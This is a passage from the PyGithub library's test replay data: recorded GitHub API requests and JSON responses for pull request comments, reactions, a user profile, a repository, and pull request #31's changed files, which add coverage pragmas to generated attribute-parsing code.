OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '936'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e8c290c08cd5ed76a92529759e9148bc"'), ('date', 'Sun, 27 May 2012 10:09:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-27T10:09:07Z","position":5,"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#r1580134"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"original_position":5,"body":"Comment edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":1580134} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestComment.testGetReactions.txt0000644000175100001660000000447214756101563026024 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/comments/1580134/reactions {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '997'), ('x-runtime-rack', '0.075315'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"b8e5130e17f11bce299b3d84021825fe"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F40C:452B:19B723:36C1E4:5A31D5A8'), ('date', 'Thu, 14 Dec 2017 01:36:41 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513217425')] [{"id":17283690,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-14T01:36:29Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestFile.setUp.txt0000644000175100001660000053062514756101563023116 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4944'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bd2cf7798d42eb95b05522f2dcb89a33"'), ('date', 'Sun, 27 May 2012 10:47:14 GMT'), ('content-type', 'application/json; charset=utf-8')] {"private_gists":5,"collaborators":0,"type":"User","disk_usage":16856,"hireable":false,"url":"https://api.github.com/users/jacquev6","plan":{"collaborators":1,"name":"micro","private_repos":5,"space":614400},"public_repos":11,"bio":"","total_private_repos":5,"company":"Criteo","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","email":"vincent@vincent-jacques.net","owned_private_repos":5,"followers":13,"name":"Vincent Jacques","public_gists":3,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4943'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9888bcfd5b8a8111f879b15668cd2794"'), ('date', 'Sun, 27 May 2012 10:47:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/jacquev6/PyGithub.git","git_url":"git://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T10:29:10Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":188,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T10:29:09Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"} https GET api.github.com None /repos/jacquev6/PyGithub/pulls/31 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4942'), ('content-length', '4806'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2aaae2697fb8e4c261353aed1f375467"'), ('date', 'Sun, 27 May 2012 10:47:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"merged_by":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Title edited by PyGithub","state":"closed","comments":0,"merged_at":"2012-05-27T10:29:07Z","updated_at":"2012-05-27T10:29:07Z","deletions":384,"head":{"user":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware","id":1424031},"repo":{"description":"Python library implementing the full Github API v3","full_name":"BeaverSoftware/PyGithub","has_wiki":false,"has_issues":false,"updated_at":"2012-05-27T09:09:17Z","forks":0,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","open_issues":0,"fork":true,"svn_url":"https://github.com/BeaverSoftware/PyGithub","pushed_at":"2012-05-27T09:09:17Z","size":176,"html_url":"https://github.com/BeaverSoftware/PyGithub","private":false,"url":"https://api.github.com/repos/BeaverSoftware/PyGithub","clone_url":"https://github.com/BeaverSoftware/PyGithub.git","owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware","id":1424031},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":1,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","id":4460787,"created_at":"2012-05-27T08:50:04Z"},"label":"BeaverSoftware:master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","ref":"master"},"body":"Body edited by PyGithub","merged":true,"additions":511,"number":31,"_links":{"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31"},"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31/comments"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31"}},"closed_at":"2012-05-27T10:29:07Z","diff_url":"https://github.com/jacquev6/PyGithub/pull/31.diff","mergeable":null,"commits":3,"changed_files":45,"html_url":"https://github.com/jacquev6/PyGithub/pull/31","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31","review_comments":1,"issue_url":"https://github.com/jacquev6/PyGithub/issues/31","id":1436215,"base":{"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"repo":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-27T10:29:10Z","forks":3,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":16,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-27T10:29:09Z","size":188,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"label":"jacquev6:topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","ref":"topic/RewriteWithGeneratedCode"},"created_at":"2012-05-27T09:25:36Z","patch_url":"https://github.com/jacquev6/PyGithub/pull/31.patch"} https GET api.github.com None /repos/jacquev6/PyGithub/pulls/31/files {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '169480'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0eeb19c75ce5a922107d104ec2a5dd4e"'), ('date', 'Sun, 27 May 2012 10:47:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"status":"modified","changes":2,"deletions":1,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","filename":"codegen/templates/GithubObject.py","patch":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @toto No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch\n \n {% if attribute.type.cardinality == \"scalar\" %}\n {% if attribute.type.simple %}","additions":1,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":50,"deletions":25,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","filename":"src/github/AuthenticatedUser.py","patch":"@@ -568,78 +568,78 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":18,"deletions":9,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","filename":"src/github/Authorization.py","patch":"@@ -117,21 +117,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"app\", \"created_at\", \"id\", \"note\", \"note_url\", \"scopes\", \"token\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"app\" in attributes and attributes[ \"app\" ] is not None:\n+ if \"app\" in attributes and attributes[ \"app\" ] is not None: # pragma no branch\n self.__app = attributes[ \"app\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"note\" in attributes and attributes[ \"note\" ] is not None:\n+ if \"note\" in attributes and attributes[ \"note\" ] is not None: # pragma no branch\n self.__note = attributes[ \"note\" ]\n- if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None:\n+ if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None: # pragma no branch\n self.__note_url = attributes[ \"note_url\" ]\n- if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None:\n+ if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None: # pragma no branch\n self.__scopes = attributes[ \"scopes\" ]\n- if \"token\" in attributes and attributes[ \"token\" ] is not None:\n+ if \"token\" in attributes and attributes[ \"token\" ] is not None: # pragma no branch\n self.__token = attributes[ \"token\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":4,"deletions":2,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","filename":"src/github/Branch.py","patch":"@@ -28,9 +28,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","additions":2,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":16,"deletions":8,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","filename":"src/github/Commit.py","patch":"@@ -120,33 +120,33 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"commit\", \"committer\", \"files\", \"parents\", \"sha\", \"stats\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = NamedUser.NamedUser( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = GitCommit.GitCommit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = NamedUser.NamedUser( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"files\" ], list ) and ( len( attributes[ \"files\" ] ) == 0 or isinstance( attributes[ \"files\" ][ 0 ], dict ) )\n self.__files = [\n CommitFile.CommitFile( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"files\" ]\n ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n Commit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"stats\" in attributes and attributes[ \"stats\" ] is not None:\n+ if \"stats\" in attributes and attributes[ \"stats\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"stats\" ], dict )\n self.__stats = CommitStats.CommitStats( self.__requester, attributes[ \"stats\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":22,"deletions":11,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","filename":"src/github/CommitComment.py","patch":"@@ -121,36 +121,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"line\" ], int )\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"position\" ], int )\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" 